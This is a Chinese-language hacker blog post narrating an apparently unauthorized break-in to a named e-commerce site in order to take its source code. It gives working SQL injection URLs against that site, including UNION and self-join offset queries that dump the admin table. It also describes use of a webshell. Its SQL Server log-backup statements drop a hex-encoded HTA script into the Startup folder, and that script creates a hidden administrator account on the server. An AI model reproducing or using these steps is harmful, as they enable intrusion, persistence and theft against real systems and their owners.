今天下午一朋友丢来一个网站说喜欢这个网站的源码,看能不能拿下,拿下以后说请我去腐败腐败。既然他都开口了,嘿嘿我还正愁没机会狠狠的蹭他几下,谁知道他自己找上门来了,不蹭白不蹭。先打开主站,用的是个通用防注入系统,过滤的很严格,对get跟post都进行了严格的参数过滤,转换编码格式也没能绕过注入系统,cookie注入也没能成功。后台也不能登陆,看来只能用旁注了。(如果有哪位大牛能突破这个通用防注入系统的话,不防发出来大家共享一下。)又拿出AK48,推荐一下这个工具,觉得比旁注王要好用一点,先有AK48扫射,立即就扫出了不少网站。大概有十多个吧,一查IP地址发现是上海IDC机房的,估计八成是虚拟主机了,汗!!!!!!!!!想到虚拟主机现在都有点怕了,虚拟主机提权难呀,就算你旁注到了 webshell,别说提权服务器就算是夸站也是比较困难。不管了还是先拿webshell子再说吧,网站虽然有十多个,但大多不能注入,现在的网站动不动就挂了通用防注入系统上去,就像现在电脑动不动就装个360打补丁一样,轻而易举的就把漏洞给补上了,呵呵看来现在的网民的安全意思都提高了。将近花了40分钟的时间去找注入点,结果只发现了2个网站有注入漏洞,其中还有一个虽然有注入点,但是找不到后台直接放弃了,最后只剩下一个网站希望最大了,注入也有,后台也找出来了,直接丢进啊D里面去跑跑,跑出了4个表,其中管理员表admin只跑出了一个ID字段,用户名字跟密码字段都跑出来。换个明小子跟NBSI pang龙 都试过了,只能跑出admin表却跑不出字段来了。如图(1)
工具跑不出来了,那只好手工试试,有时候手工比攻击要有效的多,先初步的分析了下,虽然我们找不到字段,但是如果这个注入点可以试用联合查询的话,说不定,不需要知道字段名字也可以把用户跟密码爆出来。先测试看能不能union
http://tapesales.net/ProductShow.asp?ID=95 order by 1(从1一直增加直到返回错误为止)当增加到29返回正常而30却返回错误,就证明当前表的字段为29个。
构造联合查询语句试下看能不能用
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from admin 返回如下图(2 )
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,* from admin(返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,.....n-1,n,* from admin(替增n的值,知道返回正确)当n=15的时候返回正确了,说明admin表有29-15=14个字段,知道了表admin的字段了,那我们先试着盲爆试试看,如果运气好的话可以直接爆出来。继续爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 返回如图(3)
老规矩先点跟烟清理思路。。。。。。。。。。。
如果我们知道admin的字段数多的话,我们可以使用偏移注入,但是目前我们只知道一个字段ID字段,偏也偏不出来了呀?再分析一下字段数,当前的字段为 29个,而我们的admin表有14个字段,而恰好我们也已知了一个ID字段,14*2+1=29 哈哈恰好满足自联呀,自联就是根据on语句后面的条件把自己联合一下,字段数会增加一倍。。。。等等等等。。。。。。。。。。。貌似这样解释有点不对,为了不误导新人,觉得还是有必要解释一下,
比如有一个表A结构如下
id name pass 字段
1 abc 123
2 efg 456
3 hij 789
自联
select * from (admin as a inner join admin as b on a.id=b.id)
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass
1 abc 123 1 abc 123
2 efg 456 2 efg 456
3 hij 789 3 hij 789
我们看原来一个A表用有3个字段,通过自联后,我们发现他有了6个字段,也就是说字段加倍了。汗!!1!! 扯远了回到主题。通过上面的分析,我们可以自联admin表,admin表是14个字段,自联后也就是2*14=28个字段,然后我们在随便加一个字段凑数就变成了29个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用 a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) 如图(4)
那就偏吧。。。。。。。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,* from (admin as a inner join admin as b on a.id=b.id) 如图(5) )
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
如图(6)
Scripting.FileSystemObject √ 文件操作组件
wscript.shell × 命令行执行组件
ADOX.Catalog √ ACCESS建库组件
JRO.JetEngine √ ACCESS压缩组件
Scripting.Dictionary √ 数据流上传辅助组件
Adodb.connection √ 数据库连接组件
Adodb.Stream √ 数据流上传组件
SoftArtisans.FileUp × SA-FileUp 文件上传组件
LyfUpload.UploadFile × 刘云峰文件上传组件
Persits.Upload.1 √ ASPUpload 文件上传组件
JMail.SmtpMail √ JMail 邮件收发组件
CDONTS.NewMail × 虚拟SMTP发信组件
SmtpMail.SmtpMail.1 × SmtpMail发信组件
Microsoft.XMLHTTP √ 数据传输组件
PHP .net 服务器上虽然安装了,但是这个网站并不支持php跟.net。命令行也不能使用,开放端口 80 21 1433 3306,3389,FTP用的是server_u,但是管理员修改了密码,安装路劲也没权限浏览,也不能夸站浏览,出了能控制shell目录,其他目录都不能控制,哎 看来此路不通了,是时候放弃了
正准备要放弃的时候突然发现一个新的情况,再网站目录下面找到一个数据库连接文件,里面有数据库信息,嘎嘎,善良的人们总是在绝望的时候会得到老天爷的帮助。
有了数据库事情就办多了,先用数据库连接再说。看看是什么权限,public权限就可以列目录了,要是有DB权限的话,嘿嘿,夸站绰绰有余啊,提权服务器都是有可能的。用SQL 连接查询器连接数据库。果然是DB权限,DB权限的话可以试着备份到启动项试试(经过我多次测试,备份日志文件被直接备份数据库成功率至少要高一半)
在查询分析器里面输入如下语句
DUMP TRANSACTION sq_love WITH NO_LOG--
alter database sq_love set RECOVERY FULL--
create table hwz (a image)--
backup log sq_love to disk = ’c:/windows/temp/temp.bak’ with init--
insert into hwz (a) values
(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A53657420206F3D4372656174654F626A6563742820225368656C6C2E55736572732220290D0A536574207A3D6F2E63
7265617465282268777A333130313422290D0A7A2E6368616E676550617373776F72642022313233343536222C22220D0A7A2E73657474696E6728224163636F756E745479706522293D330D0A776
96E646F772E636C6F73650D0A3C2F7363726970743E)--
backup log sq_love to disk = ’C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/run.hta’--
drop table hwz
要一条一条的的放在查询分析器中执行。执行完毕以后就会在启动项里生产一个run.hta的html应用程序,可以直接运行的,运行以后会添加一个用户名字为hwz31014密码为123456的管理员。DUMP TRANSACTION sq_love WITH NO_LOG-- 其中这一条是删除日志文件,经过多次测试发现,如果不清除日志,备份出来的hta文件很有可能运行不成功,使用最好先清除一下日志‘其他的就不多介绍了,大家应该都很熟悉了
好了我们执行,然后用webshell查看是否备份成功如图(9)
C:/Program Files/MySQL/MySQL Server 5.1/bin>net user
// 的用户帐户
-----------------------------------------------------------------------
Administrator ASPNET Guest
HelpAssistant hwz31014 IUSR_98A8AEEC54F641D
IWAM_98A8AEEC54F641D SUPPORT_388945a0
命令运行完毕,但发生一个或多个错误。
成功添加管理员用户,看来我们的备份是成功的,下一部就只等管理员重启服务器我们就可以得到系统权限了,即使得不系统权限我们也不怕,至少能夸服务器所有的网站,
拿份源代码应该问题不大了,既然已经是瓮中之鳖了那就先收工吧! 等明天管理员重启服务器,我再去收网.